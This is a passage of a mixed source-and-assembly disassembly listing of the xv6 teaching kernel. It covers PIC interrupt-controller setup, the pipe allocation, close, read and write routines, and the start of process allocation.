80103e36: 55 push %ebp
80103e37: 89 e5 mov %esp,%ebp
80103e39: 83 ec 08 sub $0x8,%esp
// mask all interrupts
outb(IO_PIC1+1, 0xFF);
80103e3c: c7 44 24 04 ff 00 00 movl $0xff,0x4(%esp)
80103e43: 00
80103e44: c7 04 24 21 00 00 00 movl $0x21,(%esp)
80103e4b: e8 48 ff ff ff call 80103d98 <outb>
outb(IO_PIC2+1, 0xFF);
80103e50: c7 44 24 04 ff 00 00 movl $0xff,0x4(%esp)
80103e57: 00
80103e58: c7 04 24 a1 00 00 00 movl $0xa1,(%esp)
80103e5f: e8 34 ff ff ff call 80103d98 <outb>
// ICW1: 0001g0hi
// g: 0 = edge triggering, 1 = level triggering
// h: 0 = cascaded PICs, 1 = master only
// i: 0 = no ICW4, 1 = ICW4 required
outb(IO_PIC1, 0x11);
80103e64: c7 44 24 04 11 00 00 movl $0x11,0x4(%esp)
80103e6b: 00
80103e6c: c7 04 24 20 00 00 00 movl $0x20,(%esp)
80103e73: e8 20 ff ff ff call 80103d98 <outb>
// ICW2: Vector offset
outb(IO_PIC1+1, T_IRQ0);
80103e78: c7 44 24 04 20 00 00 movl $0x20,0x4(%esp)
80103e7f: 00
80103e80: c7 04 24 21 00 00 00 movl $0x21,(%esp)
80103e87: e8 0c ff ff ff call 80103d98 <outb>
// ICW3: (master PIC) bit mask of IR lines connected to slaves
// (slave PIC) 3-bit # of slave's connection to master
outb(IO_PIC1+1, 1<<IRQ_SLAVE);
80103e8c: c7 44 24 04 04 00 00 movl $0x4,0x4(%esp)
80103e93: 00
80103e94: c7 04 24 21 00 00 00 movl $0x21,(%esp)
80103e9b: e8 f8 fe ff ff call 80103d98 <outb>
// m: 0 = slave PIC, 1 = master PIC
// (ignored when b is 0, as the master/slave role
// can be hardwired).
// a: 1 = Automatic EOI mode
// p: 0 = MCS-80/85 mode, 1 = intel x86 mode
outb(IO_PIC1+1, 0x3);
80103ea0: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp)
80103ea7: 00
80103ea8: c7 04 24 21 00 00 00 movl $0x21,(%esp)
80103eaf: e8 e4 fe ff ff call 80103d98 <outb>
// Set up slave (8259A-2)
outb(IO_PIC2, 0x11); // ICW1
80103eb4: c7 44 24 04 11 00 00 movl $0x11,0x4(%esp)
80103ebb: 00
80103ebc: c7 04 24 a0 00 00 00 movl $0xa0,(%esp)
80103ec3: e8 d0 fe ff ff call 80103d98 <outb>
outb(IO_PIC2+1, T_IRQ0 + 8); // ICW2
80103ec8: c7 44 24 04 28 00 00 movl $0x28,0x4(%esp)
80103ecf: 00
80103ed0: c7 04 24 a1 00 00 00 movl $0xa1,(%esp)
80103ed7: e8 bc fe ff ff call 80103d98 <outb>
outb(IO_PIC2+1, IRQ_SLAVE); // ICW3
80103edc: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
80103ee3: 00
80103ee4: c7 04 24 a1 00 00 00 movl $0xa1,(%esp)
80103eeb: e8 a8 fe ff ff call 80103d98 <outb>
// NB Automatic EOI mode doesn't tend to work on the slave.
// Linux source code says it's "to be investigated".
outb(IO_PIC2+1, 0x3); // ICW4
80103ef0: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp)
80103ef7: 00
80103ef8: c7 04 24 a1 00 00 00 movl $0xa1,(%esp)
80103eff: e8 94 fe ff ff call 80103d98 <outb>
// OCW3: 0ef01prs
// ef: 0x = NOP, 10 = clear specific mask, 11 = set specific mask
// p: 0 = no polling, 1 = polling mode
// rs: 0x = NOP, 10 = read IRR, 11 = read ISR
outb(IO_PIC1, 0x68); // clear specific mask
80103f04: c7 44 24 04 68 00 00 movl $0x68,0x4(%esp)
80103f0b: 00
80103f0c: c7 04 24 20 00 00 00 movl $0x20,(%esp)
80103f13: e8 80 fe ff ff call 80103d98 <outb>
outb(IO_PIC1, 0x0a); // read IRR by default
80103f18: c7 44 24 04 0a 00 00 movl $0xa,0x4(%esp)
80103f1f: 00
80103f20: c7 04 24 20 00 00 00 movl $0x20,(%esp)
80103f27: e8 6c fe ff ff call 80103d98 <outb>
outb(IO_PIC2, 0x68); // OCW3
80103f2c: c7 44 24 04 68 00 00 movl $0x68,0x4(%esp)
80103f33: 00
80103f34: c7 04 24 a0 00 00 00 movl $0xa0,(%esp)
80103f3b: e8 58 fe ff ff call 80103d98 <outb>
outb(IO_PIC2, 0x0a); // OCW3
80103f40: c7 44 24 04 0a 00 00 movl $0xa,0x4(%esp)
80103f47: 00
80103f48: c7 04 24 a0 00 00 00 movl $0xa0,(%esp)
80103f4f: e8 44 fe ff ff call 80103d98 <outb>
if(irqmask != 0xFFFF)
80103f54: 0f b7 05 00 c0 10 80 movzwl 0x8010c000,%eax
80103f5b: 66 83 f8 ff cmp $0xffff,%ax
80103f5f: 74 12 je 80103f73 <picinit+0x13d>
picsetmask(irqmask);
80103f61: 0f b7 05 00 c0 10 80 movzwl 0x8010c000,%eax
80103f68: 0f b7 c0 movzwl %ax,%eax
80103f6b: 89 04 24 mov %eax,(%esp)
80103f6e: e8 43 fe ff ff call 80103db6 <picsetmask>
}
80103f73: c9 leave
80103f74: c3 ret
80103f75: 00 00 add %al,(%eax)
...
80103f78 <pipealloc>:
int writeopen; // write fd is still open
};
int
pipealloc(struct file **f0, struct file **f1)
{
80103f78: 55 push %ebp
80103f79: 89 e5 mov %esp,%ebp
80103f7b: 83 ec 28 sub $0x28,%esp
struct pipe *p;
p = 0;
80103f7e: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
*f0 = *f1 = 0;
80103f85: 8b 45 0c mov 0xc(%ebp),%eax
80103f88: c7 00 00 00 00 00 movl $0x0,(%eax)
80103f8e: 8b 45 0c mov 0xc(%ebp),%eax
80103f91: 8b 10 mov (%eax),%edx
80103f93: 8b 45 08 mov 0x8(%ebp),%eax
80103f96: 89 10 mov %edx,(%eax)
if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0)
80103f98: e8 8b cf ff ff call 80100f28 <filealloc>
80103f9d: 8b 55 08 mov 0x8(%ebp),%edx
80103fa0: 89 02 mov %eax,(%edx)
80103fa2: 8b 45 08 mov 0x8(%ebp),%eax
80103fa5: 8b 00 mov (%eax),%eax
80103fa7: 85 c0 test %eax,%eax
80103fa9: 0f 84 c8 00 00 00 je 80104077 <pipealloc+0xff>
80103faf: e8 74 cf ff ff call 80100f28 <filealloc>
80103fb4: 8b 55 0c mov 0xc(%ebp),%edx
80103fb7: 89 02 mov %eax,(%edx)
80103fb9: 8b 45 0c mov 0xc(%ebp),%eax
80103fbc: 8b 00 mov (%eax),%eax
80103fbe: 85 c0 test %eax,%eax
80103fc0: 0f 84 b1 00 00 00 je 80104077 <pipealloc+0xff>
goto bad;
if((p = (struct pipe*)kalloc()) == 0)
80103fc6: e8 40 eb ff ff call 80102b0b <kalloc>
80103fcb: 89 45 f4 mov %eax,-0xc(%ebp)
80103fce: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80103fd2: 0f 84 9e 00 00 00 je 80104076 <pipealloc+0xfe>
goto bad;
p->readopen = 1;
80103fd8: 8b 45 f4 mov -0xc(%ebp),%eax
80103fdb: c7 80 3c 02 00 00 01 movl $0x1,0x23c(%eax)
80103fe2: 00 00 00
p->writeopen = 1;
80103fe5: 8b 45 f4 mov -0xc(%ebp),%eax
80103fe8: c7 80 40 02 00 00 01 movl $0x1,0x240(%eax)
80103fef: 00 00 00
p->nwrite = 0;
80103ff2: 8b 45 f4 mov -0xc(%ebp),%eax
80103ff5: c7 80 38 02 00 00 00 movl $0x0,0x238(%eax)
80103ffc: 00 00 00
p->nread = 0;
80103fff: 8b 45 f4 mov -0xc(%ebp),%eax
80104002: c7 80 34 02 00 00 00 movl $0x0,0x234(%eax)
80104009: 00 00 00
initlock(&p->lock, "pipe");
8010400c: 8b 45 f4 mov -0xc(%ebp),%eax
8010400f: c7 44 24 04 0c 8d 10 movl $0x80108d0c,0x4(%esp)
80104016: 80
80104017: 89 04 24 mov %eax,(%esp)
8010401a: e8 cf 12 00 00 call 801052ee <initlock>
(*f0)->type = FD_PIPE;
8010401f: 8b 45 08 mov 0x8(%ebp),%eax
80104022: 8b 00 mov (%eax),%eax
80104024: c7 00 01 00 00 00 movl $0x1,(%eax)
(*f0)->readable = 1;
8010402a: 8b 45 08 mov 0x8(%ebp),%eax
8010402d: 8b 00 mov (%eax),%eax
8010402f: c6 40 08 01 movb $0x1,0x8(%eax)
(*f0)->writable = 0;
80104033: 8b 45 08 mov 0x8(%ebp),%eax
80104036: 8b 00 mov (%eax),%eax
80104038: c6 40 09 00 movb $0x0,0x9(%eax)
(*f0)->pipe = p;
8010403c: 8b 45 08 mov 0x8(%ebp),%eax
8010403f: 8b 00 mov (%eax),%eax
80104041: 8b 55 f4 mov -0xc(%ebp),%edx
80104044: 89 50 0c mov %edx,0xc(%eax)
(*f1)->type = FD_PIPE;
80104047: 8b 45 0c mov 0xc(%ebp),%eax
8010404a: 8b 00 mov (%eax),%eax
8010404c: c7 00 01 00 00 00 movl $0x1,(%eax)
(*f1)->readable = 0;
80104052: 8b 45 0c mov 0xc(%ebp),%eax
80104055: 8b 00 mov (%eax),%eax
80104057: c6 40 08 00 movb $0x0,0x8(%eax)
(*f1)->writable = 1;
8010405b: 8b 45 0c mov 0xc(%ebp),%eax
8010405e: 8b 00 mov (%eax),%eax
80104060: c6 40 09 01 movb $0x1,0x9(%eax)
(*f1)->pipe = p;
80104064: 8b 45 0c mov 0xc(%ebp),%eax
80104067: 8b 00 mov (%eax),%eax
80104069: 8b 55 f4 mov -0xc(%ebp),%edx
8010406c: 89 50 0c mov %edx,0xc(%eax)
return 0;
8010406f: b8 00 00 00 00 mov $0x0,%eax
80104074: eb 43 jmp 801040b9 <pipealloc+0x141>
p = 0;
*f0 = *f1 = 0;
if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0)
goto bad;
if((p = (struct pipe*)kalloc()) == 0)
goto bad;
80104076: 90 nop
(*f1)->pipe = p;
return 0;
//PAGEBREAK: 20
bad:
if(p)
80104077: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8010407b: 74 0b je 80104088 <pipealloc+0x110>
kfree((char*)p);
8010407d: 8b 45 f4 mov -0xc(%ebp),%eax
80104080: 89 04 24 mov %eax,(%esp)
80104083: e8 ea e9 ff ff call 80102a72 <kfree>
if(*f0)
80104088: 8b 45 08 mov 0x8(%ebp),%eax
8010408b: 8b 00 mov (%eax),%eax
8010408d: 85 c0 test %eax,%eax
8010408f: 74 0d je 8010409e <pipealloc+0x126>
fileclose(*f0);
80104091: 8b 45 08 mov 0x8(%ebp),%eax
80104094: 8b 00 mov (%eax),%eax
80104096: 89 04 24 mov %eax,(%esp)
80104099: e8 32 cf ff ff call 80100fd0 <fileclose>
if(*f1)
8010409e: 8b 45 0c mov 0xc(%ebp),%eax
801040a1: 8b 00 mov (%eax),%eax
801040a3: 85 c0 test %eax,%eax
801040a5: 74 0d je 801040b4 <pipealloc+0x13c>
fileclose(*f1);
801040a7: 8b 45 0c mov 0xc(%ebp),%eax
801040aa: 8b 00 mov (%eax),%eax
801040ac: 89 04 24 mov %eax,(%esp)
801040af: e8 1c cf ff ff call 80100fd0 <fileclose>
return -1;
801040b4: b8 ff ff ff ff mov $0xffffffff,%eax
}
801040b9: c9 leave
801040ba: c3 ret
801040bb <pipeclose>:
void
pipeclose(struct pipe *p, int writable)
{
801040bb: 55 push %ebp
801040bc: 89 e5 mov %esp,%ebp
801040be: 83 ec 18 sub $0x18,%esp
acquire(&p->lock);
801040c1: 8b 45 08 mov 0x8(%ebp),%eax
801040c4: 89 04 24 mov %eax,(%esp)
801040c7: e8 43 12 00 00 call 8010530f <acquire>
if(writable){
801040cc: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
801040d0: 74 1f je 801040f1 <pipeclose+0x36>
p->writeopen = 0;
801040d2: 8b 45 08 mov 0x8(%ebp),%eax
801040d5: c7 80 40 02 00 00 00 movl $0x0,0x240(%eax)
801040dc: 00 00 00
wakeup(&p->nread);
801040df: 8b 45 08 mov 0x8(%ebp),%eax
801040e2: 05 34 02 00 00 add $0x234,%eax
801040e7: 89 04 24 mov %eax,(%esp)
801040ea: e8 14 10 00 00 call 80105103 <wakeup>
801040ef: eb 1d jmp 8010410e <pipeclose+0x53>
} else {
p->readopen = 0;
801040f1: 8b 45 08 mov 0x8(%ebp),%eax
801040f4: c7 80 3c 02 00 00 00 movl $0x0,0x23c(%eax)
801040fb: 00 00 00
wakeup(&p->nwrite);
801040fe: 8b 45 08 mov 0x8(%ebp),%eax
80104101: 05 38 02 00 00 add $0x238,%eax
80104106: 89 04 24 mov %eax,(%esp)
80104109: e8 f5 0f 00 00 call 80105103 <wakeup>
}
if(p->readopen == 0 && p->writeopen == 0){
8010410e: 8b 45 08 mov 0x8(%ebp),%eax
80104111: 8b 80 3c 02 00 00 mov 0x23c(%eax),%eax
80104117: 85 c0 test %eax,%eax
80104119: 75 25 jne 80104140 <pipeclose+0x85>
8010411b: 8b 45 08 mov 0x8(%ebp),%eax
8010411e: 8b 80 40 02 00 00 mov 0x240(%eax),%eax
80104124: 85 c0 test %eax,%eax
80104126: 75 18 jne 80104140 <pipeclose+0x85>
release(&p->lock);
80104128: 8b 45 08 mov 0x8(%ebp),%eax
8010412b: 89 04 24 mov %eax,(%esp)
8010412e: e8 3e 12 00 00 call 80105371 <release>
kfree((char*)p);
80104133: 8b 45 08 mov 0x8(%ebp),%eax
80104136: 89 04 24 mov %eax,(%esp)
80104139: e8 34 e9 ff ff call 80102a72 <kfree>
8010413e: eb 0b jmp 8010414b <pipeclose+0x90>
} else
release(&p->lock);
80104140: 8b 45 08 mov 0x8(%ebp),%eax
80104143: 89 04 24 mov %eax,(%esp)
80104146: e8 26 12 00 00 call 80105371 <release>
}
8010414b: c9 leave
8010414c: c3 ret
8010414d <pipewrite>:
//PAGEBREAK: 40
int
pipewrite(struct pipe *p, char *addr, int n)
{
8010414d: 55 push %ebp
8010414e: 89 e5 mov %esp,%ebp
80104150: 53 push %ebx
80104151: 83 ec 24 sub $0x24,%esp
int i;
acquire(&p->lock);
80104154: 8b 45 08 mov 0x8(%ebp),%eax
80104157: 89 04 24 mov %eax,(%esp)
8010415a: e8 b0 11 00 00 call 8010530f <acquire>
for(i = 0; i < n; i++){
8010415f: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80104166: e9 a6 00 00 00 jmp 80104211 <pipewrite+0xc4>
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
if(p->readopen == 0 || proc->killed){
8010416b: 8b 45 08 mov 0x8(%ebp),%eax
8010416e: 8b 80 3c 02 00 00 mov 0x23c(%eax),%eax
80104174: 85 c0 test %eax,%eax
80104176: 74 0d je 80104185 <pipewrite+0x38>
80104178: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010417e: 8b 40 24 mov 0x24(%eax),%eax
80104181: 85 c0 test %eax,%eax
80104183: 74 15 je 8010419a <pipewrite+0x4d>
release(&p->lock);
80104185: 8b 45 08 mov 0x8(%ebp),%eax
80104188: 89 04 24 mov %eax,(%esp)
8010418b: e8 e1 11 00 00 call 80105371 <release>
return -1;
80104190: b8 ff ff ff ff mov $0xffffffff,%eax
80104195: e9 9d 00 00 00 jmp 80104237 <pipewrite+0xea>
}
wakeup(&p->nread);
8010419a: 8b 45 08 mov 0x8(%ebp),%eax
8010419d: 05 34 02 00 00 add $0x234,%eax
801041a2: 89 04 24 mov %eax,(%esp)
801041a5: e8 59 0f 00 00 call 80105103 <wakeup>
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
801041aa: 8b 45 08 mov 0x8(%ebp),%eax
801041ad: 8b 55 08 mov 0x8(%ebp),%edx
801041b0: 81 c2 38 02 00 00 add $0x238,%edx
801041b6: 89 44 24 04 mov %eax,0x4(%esp)
801041ba: 89 14 24 mov %edx,(%esp)
801041bd: e8 65 0e 00 00 call 80105027 <sleep>
801041c2: eb 01 jmp 801041c5 <pipewrite+0x78>
{
int i;
acquire(&p->lock);
for(i = 0; i < n; i++){
while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full
801041c4: 90 nop
801041c5: 8b 45 08 mov 0x8(%ebp),%eax
801041c8: 8b 90 38 02 00 00 mov 0x238(%eax),%edx
801041ce: 8b 45 08 mov 0x8(%ebp),%eax
801041d1: 8b 80 34 02 00 00 mov 0x234(%eax),%eax
801041d7: 05 00 02 00 00 add $0x200,%eax
801041dc: 39 c2 cmp %eax,%edx
801041de: 74 8b je 8010416b <pipewrite+0x1e>
return -1;
}
wakeup(&p->nread);
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
}
p->data[p->nwrite++ % PIPESIZE] = addr[i];
801041e0: 8b 45 08 mov 0x8(%ebp),%eax
801041e3: 8b 80 38 02 00 00 mov 0x238(%eax),%eax
801041e9: 89 c3 mov %eax,%ebx
801041eb: 81 e3 ff 01 00 00 and $0x1ff,%ebx
801041f1: 8b 55 f4 mov -0xc(%ebp),%edx
801041f4: 03 55 0c add 0xc(%ebp),%edx
801041f7: 0f b6 0a movzbl (%edx),%ecx
801041fa: 8b 55 08 mov 0x8(%ebp),%edx
801041fd: 88 4c 1a 34 mov %cl,0x34(%edx,%ebx,1)
80104201: 8d 50 01 lea 0x1(%eax),%edx
80104204: 8b 45 08 mov 0x8(%ebp),%eax
80104207: 89 90 38 02 00 00 mov %edx,0x238(%eax)
pipewrite(struct pipe *p, char *addr, int n)
{
int i;
acquire(&p->lock);
for(i = 0; i < n; i++){
8010420d: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80104211: 8b 45 f4 mov -0xc(%ebp),%eax
80104214: 3b 45 10 cmp 0x10(%ebp),%eax
80104217: 7c ab jl 801041c4 <pipewrite+0x77>
wakeup(&p->nread);
sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep
}
p->data[p->nwrite++ % PIPESIZE] = addr[i];
}
wakeup(&p->nread); //DOC: pipewrite-wakeup1
80104219: 8b 45 08 mov 0x8(%ebp),%eax
8010421c: 05 34 02 00 00 add $0x234,%eax
80104221: 89 04 24 mov %eax,(%esp)
80104224: e8 da 0e 00 00 call 80105103 <wakeup>
release(&p->lock);
80104229: 8b 45 08 mov 0x8(%ebp),%eax
8010422c: 89 04 24 mov %eax,(%esp)
8010422f: e8 3d 11 00 00 call 80105371 <release>
return n;
80104234: 8b 45 10 mov 0x10(%ebp),%eax
}
80104237: 83 c4 24 add $0x24,%esp
8010423a: 5b pop %ebx
8010423b: 5d pop %ebp
8010423c: c3 ret
8010423d <piperead>:
int
piperead(struct pipe *p, char *addr, int n)
{
8010423d: 55 push %ebp
8010423e: 89 e5 mov %esp,%ebp
80104240: 53 push %ebx
80104241: 83 ec 24 sub $0x24,%esp
int i;
acquire(&p->lock);
80104244: 8b 45 08 mov 0x8(%ebp),%eax
80104247: 89 04 24 mov %eax,(%esp)
8010424a: e8 c0 10 00 00 call 8010530f <acquire>
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
8010424f: eb 3a jmp 8010428b <piperead+0x4e>
if(proc->killed){
80104251: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80104257: 8b 40 24 mov 0x24(%eax),%eax
8010425a: 85 c0 test %eax,%eax
8010425c: 74 15 je 80104273 <piperead+0x36>
release(&p->lock);
8010425e: 8b 45 08 mov 0x8(%ebp),%eax
80104261: 89 04 24 mov %eax,(%esp)
80104264: e8 08 11 00 00 call 80105371 <release>
return -1;
80104269: b8 ff ff ff ff mov $0xffffffff,%eax
8010426e: e9 b6 00 00 00 jmp 80104329 <piperead+0xec>
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
80104273: 8b 45 08 mov 0x8(%ebp),%eax
80104276: 8b 55 08 mov 0x8(%ebp),%edx
80104279: 81 c2 34 02 00 00 add $0x234,%edx
8010427f: 89 44 24 04 mov %eax,0x4(%esp)
80104283: 89 14 24 mov %edx,(%esp)
80104286: e8 9c 0d 00 00 call 80105027 <sleep>
piperead(struct pipe *p, char *addr, int n)
{
int i;
acquire(&p->lock);
while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty
8010428b: 8b 45 08 mov 0x8(%ebp),%eax
8010428e: 8b 90 34 02 00 00 mov 0x234(%eax),%edx
80104294: 8b 45 08 mov 0x8(%ebp),%eax
80104297: 8b 80 38 02 00 00 mov 0x238(%eax),%eax
8010429d: 39 c2 cmp %eax,%edx
8010429f: 75 0d jne 801042ae <piperead+0x71>
801042a1: 8b 45 08 mov 0x8(%ebp),%eax
801042a4: 8b 80 40 02 00 00 mov 0x240(%eax),%eax
801042aa: 85 c0 test %eax,%eax
801042ac: 75 a3 jne 80104251 <piperead+0x14>
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
}
for(i = 0; i < n; i++){ //DOC: piperead-copy
801042ae: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801042b5: eb 49 jmp 80104300 <piperead+0xc3>
if(p->nread == p->nwrite)
801042b7: 8b 45 08 mov 0x8(%ebp),%eax
801042ba: 8b 90 34 02 00 00 mov 0x234(%eax),%edx
801042c0: 8b 45 08 mov 0x8(%ebp),%eax
801042c3: 8b 80 38 02 00 00 mov 0x238(%eax),%eax
801042c9: 39 c2 cmp %eax,%edx
801042cb: 74 3d je 8010430a <piperead+0xcd>
break;
addr[i] = p->data[p->nread++ % PIPESIZE];
801042cd: 8b 45 f4 mov -0xc(%ebp),%eax
801042d0: 89 c2 mov %eax,%edx
801042d2: 03 55 0c add 0xc(%ebp),%edx
801042d5: 8b 45 08 mov 0x8(%ebp),%eax
801042d8: 8b 80 34 02 00 00 mov 0x234(%eax),%eax
801042de: 89 c3 mov %eax,%ebx
801042e0: 81 e3 ff 01 00 00 and $0x1ff,%ebx
801042e6: 8b 4d 08 mov 0x8(%ebp),%ecx
801042e9: 0f b6 4c 19 34 movzbl 0x34(%ecx,%ebx,1),%ecx
801042ee: 88 0a mov %cl,(%edx)
801042f0: 8d 50 01 lea 0x1(%eax),%edx
801042f3: 8b 45 08 mov 0x8(%ebp),%eax
801042f6: 89 90 34 02 00 00 mov %edx,0x234(%eax)
release(&p->lock);
return -1;
}
sleep(&p->nread, &p->lock); //DOC: piperead-sleep
}
for(i = 0; i < n; i++){ //DOC: piperead-copy
801042fc: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80104300: 8b 45 f4 mov -0xc(%ebp),%eax
80104303: 3b 45 10 cmp 0x10(%ebp),%eax
80104306: 7c af jl 801042b7 <piperead+0x7a>
80104308: eb 01 jmp 8010430b <piperead+0xce>
if(p->nread == p->nwrite)
break;
8010430a: 90 nop
addr[i] = p->data[p->nread++ % PIPESIZE];
}
wakeup(&p->nwrite); //DOC: piperead-wakeup
8010430b: 8b 45 08 mov 0x8(%ebp),%eax
8010430e: 05 38 02 00 00 add $0x238,%eax
80104313: 89 04 24 mov %eax,(%esp)
80104316: e8 e8 0d 00 00 call 80105103 <wakeup>
release(&p->lock);
8010431b: 8b 45 08 mov 0x8(%ebp),%eax
8010431e: 89 04 24 mov %eax,(%esp)
80104321: e8 4b 10 00 00 call 80105371 <release>
return i;
80104326: 8b 45 f4 mov -0xc(%ebp),%eax
}
80104329: 83 c4 24 add $0x24,%esp
8010432c: 5b pop %ebx
8010432d: 5d pop %ebp
8010432e: c3 ret
...
80104330 <readeflags>:
asm volatile("ltr %0" : : "r" (sel));
}
static inline uint
readeflags(void)
{
80104330: 55 push %ebp
80104331: 89 e5 mov %esp,%ebp
80104333: 53 push %ebx
80104334: 83 ec 10 sub $0x10,%esp
uint eflags;
asm volatile("pushfl; popl %0" : "=r" (eflags));
80104337: 9c pushf
80104338: 5b pop %ebx
80104339: 89 5d f8 mov %ebx,-0x8(%ebp)
return eflags;
8010433c: 8b 45 f8 mov -0x8(%ebp),%eax
}
8010433f: 83 c4 10 add $0x10,%esp
80104342: 5b pop %ebx
80104343: 5d pop %ebp
80104344: c3 ret
80104345 <sti>:
asm volatile("cli");
}
static inline void
sti(void)
{
80104345: 55 push %ebp
80104346: 89 e5 mov %esp,%ebp
asm volatile("sti");
80104348: fb sti
}
80104349: 5d pop %ebp
8010434a: c3 ret
8010434b <pinit>:
static void wakeup1(void *chan);
void
pinit(void)
{
8010434b: 55 push %ebp
8010434c: 89 e5 mov %esp,%ebp
8010434e: 83 ec 18 sub $0x18,%esp
initlock(&ptable.lock, "ptable");
80104351: c7 44 24 04 14 8d 10 movl $0x80108d14,0x4(%esp)
80104358: 80
80104359: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104360: e8 89 0f 00 00 call 801052ee <initlock>
}
80104365: c9 leave
80104366: c3 ret
80104367 <allocproc>:
// If found, change state to EMBRYO and initialize
// state required to run in the kernel.
// Otherwise return 0.
static struct proc*
allocproc(void)
{
80104367: 55 push %ebp
80104368: 89 e5 mov %esp,%ebp
8010436a: 83 ec 28 sub $0x28,%esp
struct proc *p;
char *sp;
acquire(&ptable.lock);
8010436d: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
80104374: e8 96 0f 00 00 call 8010530f <acquire>
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
80104379: c7 45 f4 b4 39 11 80 movl $0x801139b4,-0xc(%ebp)
80104380: eb 11 jmp 80104393 <allocproc+0x2c>
if(p->state == UNUSED)
80104382: 8b 45 f4 mov -0xc(%ebp),%eax
80104385: 8b 40 0c mov 0xc(%eax),%eax
80104388: 85 c0 test %eax,%eax
8010438a: 74 26 je 801043b2 <allocproc+0x4b>
{
struct proc *p;
char *sp;
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
8010438c: 81 45 f4 84 00 00 00 addl $0x84,-0xc(%ebp)
80104393: 81 7d f4 b4 5a 11 80 cmpl $0x80115ab4,-0xc(%ebp)
8010439a: 72 e6 jb 80104382 <allocproc+0x1b>
if(p->state == UNUSED)
goto found;
release(&ptable.lock);
8010439c: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
801043a3: e8 c9 0f 00 00 call 80105371 <release>
return 0;
801043a8: b8 00 00 00 00 mov $0x0,%eax
801043ad: e9 b5 00 00 00 jmp 80104467 <allocproc+0x100>
char *sp;
acquire(&ptable.lock);
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++)
if(p->state == UNUSED)
goto found;
801043b2: 90 nop
release(&ptable.lock);
return 0;
found:
p->state = EMBRYO;
801043b3: 8b 45 f4 mov -0xc(%ebp),%eax
801043b6: c7 40 0c 01 00 00 00 movl $0x1,0xc(%eax)
p->pid = nextpid++;
801043bd: a1 04 c0 10 80 mov 0x8010c004,%eax
801043c2: 8b 55 f4 mov -0xc(%ebp),%edx
801043c5: 89 42 10 mov %eax,0x10(%edx)
801043c8: 83 c0 01 add $0x1,%eax
801043cb: a3 04 c0 10 80 mov %eax,0x8010c004
release(&ptable.lock);
801043d0: c7 04 24 80 39 11 80 movl $0x80113980,(%esp)
801043d7: e8 95 0f 00 00 call 80105371 <release>
// Allocate kernel stack.
if((p->kstack = kalloc()) == 0){
801043dc: e8 2a e7 ff ff call 80102b0b <kalloc>
801043e1: 8b 55 f4 mov -0xc(%ebp),%edx
801043e4: 89 42 08 mov %eax,0x8(%edx)
801043e7: 8b 45 f4 mov -0xc(%ebp),%eax
801043ea: 8b 40 08 mov 0x8(%eax),%eax
801043ed: 85 c0 test %eax,%eax
801043ef: 75 11 jne 80104402 <allocproc+0x9b>
p->state = UNUSED;
801043f1: 8b 45 f4 mov -0xc(%ebp),%eax
801043f4: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
return 0;
801043fb: b8 00 00 00 00 mov $0x0,%eax
80104400: eb 65 jmp 80104467 <allocproc+0x100>
}
sp = p->kstack + KSTACKSIZE;
80104402: 8b 45 f4 mov -0xc(%ebp),%eax
80104405: 8b 40 08 mov 0x8(%eax),%eax
80104408: 05 00 10 00 00 add $0x1000,%eax
8010440d: 89 45 f0 mov %eax,-0x10(%ebp)
// Leave room for trap frame.
sp -= sizeof *p->tf;
80104410: 83 6d f0 4c subl $0x4c,-0x10(%ebp)
p->tf = (struct trapframe*)sp;
80104414: 8b 45 f4 mov -0xc(%ebp),%eax
80104417: 8b 55 f0 mov -0x10(%ebp),%edx
8010441a: 89 50 18 mov %edx,0x18(%eax)
// Set up new context to start executing at forkret,
// which returns to trapret.
sp -= 4;
8010441d: 83 6d f0 04 subl $0x4,-0x10(%ebp)
*(uint*)sp = (uint)trapret;
80104421: ba d4 6a 10 80 mov $0x80106ad4,%edx
80104426: 8b 45 f0 mov -0x10(%ebp),%eax
80104429: 89 10 mov %edx,(%eax)
sp -= sizeof *p->context;
8010442b: 83 6d f0 14 subl $0x14,-0x10(%ebp)
p->context = (struct context*)sp;
8010442f: 8b 45 f4 mov -0xc(%ebp),%eax
80104432: 8b 55 f0 mov -0x10(%ebp),%edx
80104435: 89 50 1c mov %edx,0x1c(%eax)
memset(p->context, 0, sizeof *p->context);
80104438: 8b 45 f4 mov -0xc(%ebp),%eax
8010443b: 8b 40 1c mov 0x1c(%eax),%eax
8010443e: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp)
80104445: 00
80104446: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8010444d: 00
8010444e: 89 04 24 mov %eax,(%esp)
80104451: e8 08 11 00 00 call 8010555e <memset>
p->context->eip = (uint)forkret;
80104456: 8b 45 f4 mov -0xc(%ebp),%eax
80104459: 8b 40 1c mov 0x1c(%eax),%eax
8010445c: ba fb 4f 10 80 mov $0x80104ffb,%edx
80104461: 89 50 10 mov %edx,0x10(%eax)
return p;
